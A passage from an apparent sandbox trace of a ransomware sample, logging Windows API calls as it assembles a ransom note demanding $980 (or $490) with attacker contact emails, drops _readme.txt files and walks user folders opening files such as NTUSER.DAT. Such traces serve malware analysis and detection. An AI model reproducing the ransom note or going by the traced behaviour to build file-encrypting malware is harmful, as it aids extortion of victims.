photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.843] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.843] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.843] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.843] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.843] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.844] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0111.844] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.844] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.844] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.844] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.844] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.844] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.844] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.844] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.844] PathFindFileNameW (pszPath="") returned="" [0111.844] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.844] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.845] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.845] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.845] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0111.845] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0111.845] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaf043c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xdaf043c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.845] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaf043c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xdaf043c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.845] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0111.845] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0111.845] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0111.845] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0111.845] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa26f0e00, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xa26f0e00, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0111.845] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9be34600, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9be34600, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0111.845] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0111.845] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0111.845] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0111.845] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0111.846] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9bea6a20, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9bea6a20, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0111.846] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0111.846] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0111.846] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb98dc950, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb98dc950, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0111.846] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned=".DAT" [0111.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.846] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb98b67f0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0111.846] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned=".LOG1" [0111.846] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0111.846] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned=".LOG2" [0111.846] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0111.846] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned=".blf" [0111.846] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0111.846] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0111.846] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0111.846] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0111.846] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0111.846] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned=".ini" [0111.846] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c1c6700, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c1c6700, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0111.847] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0111.847] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0111.847] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0111.847] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0111.847] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0111.847] 